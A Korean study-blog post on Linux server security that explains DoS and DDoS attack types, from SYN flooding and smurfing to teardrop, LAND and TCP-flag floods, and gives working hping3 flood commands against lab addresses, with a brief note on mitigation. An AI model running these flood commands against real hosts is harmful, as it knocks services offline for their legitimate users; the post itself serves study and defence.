일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- binding
- 안드로이드
- drift
- Navigation
- 테스트
- TEST
- Coroutines
- intent
- 앱
- tabbar
- Flutter
- scroll
- android
- CustomScrollView
- Button
- Dialog
- LifeCycle
- ScrollView
- Kotlin
- livedata
- 앱바
- data
- DART
- activity
- viewmodel
- Compose
- textfield
- textview
- 계측
- appbar
- Today
- Total
Study Record
[리눅스 서버보안] Dos / DDos 와 공격 방식 - hping3 본문
1. DoS(Denial of Service) 공격(1:1)
공격자가 호스트의 H/W 또는 S/W 등을 무력하게 만들어 호스트에서 적법한 사용자의 서비스 요구를 거부하도록 만드는 일련의 과정이다.
2. DDoS(Distributed Denial of Service) 공격(N:1)
네트워크로 연결된 분산 환경에서 여러대의 컴퓨터를 이용하여 한대의 공격대상 시스템에 대한 DoS 공격 (EX: BotNet)
3. Remote Attack
3-1. SynFlooding
IP Spoofing을 이용하여 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 방법이다.
# hping3 -S -a 192.168.10.250 192.168.10.100 -p 21 --flood
: 소스 아이피를 192.168.10.250 으로 속여 192.168.10.100 으로 포트는 21번으로 SynFlooding 공격을 한다.
3-2. Ping of Death
ping을 이용하여 ICMP 패킷을 정상적인 크기보다 매우 크게 만들어 네트워크를 통과할 때 공격 네트워크에 도달하기 위해서는 단편화(Fragementation)이 되는데 이러한 경우 공격 대상 시스템은 이렇게 작은 조각 패킷을 처리하기 위하여 많은 로드가 발생되게 되는데 이른 노린 공격 방법이다.
# ping -n 10000 -l 65500 <Vitim's IP>
# hping3 -1 -a 8.8.8.8 192.168.10.100 -i u1000 -d 65000
# hping3 -1 --rand-source 192.168.10.100 --flood -d 65000
-d --data : data size
-1 : icmp mode
3-3. ICMP Smurfing
ICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 기법으로 Broadcast 주소로 echo request를 보내서 대량의 echo reply가 임의의 주소로 집중되게 하는 원리를 이용했다. source 를 공격 대상 IP로 설정(IP Spoofing) 하고 대상자 네트워크를 목적지로 설정하면 대상자 네트워크대에 있는 pc만큼의 응답 패킷이 공격 대상 시스템을 향한다.
# hping3 -1 -a 192.168.10.100 192.168.10.255 --flood
※ 해결책
모든 라우터의 내부(LAN쪽) interface 마다 Directed Broadcast 기능을 막아 준다. 자신의 내부 측(EX: 192.168.0.255)의 주소로 ICMP echo의 요청이 들어가지 못하도록 한다.
3-4. Bonk/Boink
프로토콜은 신뢰도를 확보(패킷 순서, 중간에 손실된 패킷)하기 위해서 반복적으로 재요구하고 수정을 하게 된다. 이를 이용하여 반복직인 재요구와 수정을 계속하게 함으로써 시스템 자원을 고갈시키는 방법이다. 현재는 통하지 않는다.
3-4-1. Bonk
처음 패킷을 1번으로 보낸 후 나머지 모두 시퀀스 넘버를 1번으로 조작하여 공격한다.
시퀸스 번호: 1, 1, 1, ...
# hping3 192.168.10.100 -Q
3-4-2. Boink - Bonk의 개량 버전
처음 패킷을 1번으로 보낸 후 두번째 패킷은 101번, 세번째 패킷은 201번으로 정상적으로 보내다가 중간에서 일정한 시퀀스 넘버로 보낸 후 열번째 패킷은 1001번, 열한번째 패킷도 1001번, 열두번째 패킷도 1001번으로 전송한다.
시퀀스 번호: 1, 101, 201, 301, 301, 301, ...
3-4. TearDrop
Teardrop은 IP 패킷의 전송이 잘게 나누어졌다가 다시 재 조합하는 과정의 약점을 악용한 공격이다. 패킷을 겹치게 또는 일정한 간격의 데이터가 빠지게 전송한다. 보통 IP 패킷은 하나의 큰 자료를 잘게 나누어서 보내게 되는데 이때 offset을 이용하여 나누었다가 도착지에서 offset을 이용하여 재 조합하게된다. 이때 동일한 offset을 겹치게 만들면 시스템은 교착되거나 충돌을 일으키거나 재기동된다. 과거 윈도우 95 버전에서 발생되었던 문제이다. 그러나 현재도 네트워크나 시스템에 큰 오버헤드를 발생시킨다.
시퀀스 번호: (UDP) 1, 5, 2, 4, 6, 7, 9, 7
# hping3 -1 192.168.10.100 -g 185
: offset 값이 185 항상 동일하다게 보낸다.
3-5. LAND Attack
패킷을 전송할 때 출발지 IP 주소와 목적지 IP 주소값을 공격자의 IP 주소값으로 똑같이 만들어서 공격 대상에게 보낸다. 이 값은 자기 자신의 IP 주소 값이므로 네트워크 밖으로 나가지 않고 자신에게 다시 돌아온다. 이 공격 방법은 Syn Flooding 처럼 동시 사용자 수를 점유 해버리며 CPU 부하까지 올리게 된다. 현재 이 공격은 통하지 않는다.
# hping3 -1 -a 192.168.10.100 192.168.10.100 --flood
# hping3 -1 -a 192.168.10.100 192.168.10.100 -i u1000 -d 65000
3-6. UDP Flooding
대역폭 고갈을 위한 공격을 가장 많이 사용되는 DoS, DDoS 공격으로 UDP Body에 Garbage Data를 Padding 하여 공격한다. 현재도 통하는 공격이다.
# hping3 -2 192.168.20.200 -p 53 --flood
# hping3 -2 --rand-source 192.168.20.200 -p 53 -i u100000 -d 65000
3-7. Out of Band Flooding
일반적인 TCP/IP 세션을 연결하기 위한 과정에서 발생하는 TCP Flag를 제외하거나 비정상적인 순서로 발생되는 Flag의 조합을 통한 DDoS, DoS 해킹 공격이다.
TCP Flag | CMD |
ACK | hping3 -A 192.168.10.200 -p 21 --flood |
PUSH | hping3 -P 192.168.10.200 -p 21 --flood |
RST | hping3 -R 192.168.10.200 -p 21 --flood |
URG | hping3 -U 192.168.10.200 -p 21 --flood |
XMAS | hping3 -X 192.168.10.200 -p 21 --flood |
FIN | hping3 -F 192.168.10.200 -p 21 --flood |
SYN | hping3 -S 192.168.10.200 -p 21 --flood |
SYN + ACK + PUSH + RST + URG + FIN | hping3 -SAPRUF 192.168.10.200 -p 21 --flood |
3-8. Checksum Error Flooding
Checksum은 패킷내에 하나의 필드로 구성하며 데이터를 이진수(Binary Number)의 연속으로 간주하여 그 이진수의 합을 계산하는 방법이다. 정확하지 않은 checksum값을 대량으로 보내 시스템이나 네트워크에 성능(Performance)에 영향을 미친다.
3-8-1. IP Checksum Error
IP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.
# ./ipchksum <소스IP> <타켓IP> <포트>
3-8-2. ICMP Checksum Error
ICMP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.
# ./icmpchecksum <소스IP> <타켓IP> <포트>
3-8-3. UDP Checksum Error
UDP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.
# ./udpchksum <target> <bcast file> <num packets> <packet delay> [dstport] [srcport] [psize]
3-9. botnet ★
Robot의 줄임말로 감염된 컴퓨터(Zombie, Hacker Army, troop)는 공격자(Bot Master, Bot C & C)에 의해 조종됨. 취약한 서버들이 주로 C & C(Command and Control Server)로 악용된다. 주로 악성 프로그램 유포, 피싱/SPAM 메일 방송, 개인정보 유출, AdWare 및 SpyWare 설치, 서비스 거부 공격(DoS)등 수행 한다.
'서버보안 > 리눅스 서버보안' 카테고리의 다른 글
[리눅스 서버보안] DVWA 설치하기 - Centos 7 (0) | 2022.01.05 |
---|---|
[리눅스 서버보안] LOIC(Low Orbit Ion Cannon) 설치 (0) | 2021.12.29 |
[리눅스 서버보안] NAT (0) | 2021.12.25 |
[리눅스 서버보안] iptables (0) | 2021.12.24 |
[리눅스 서버보안] 방화벽 (0) | 2021.12.24 |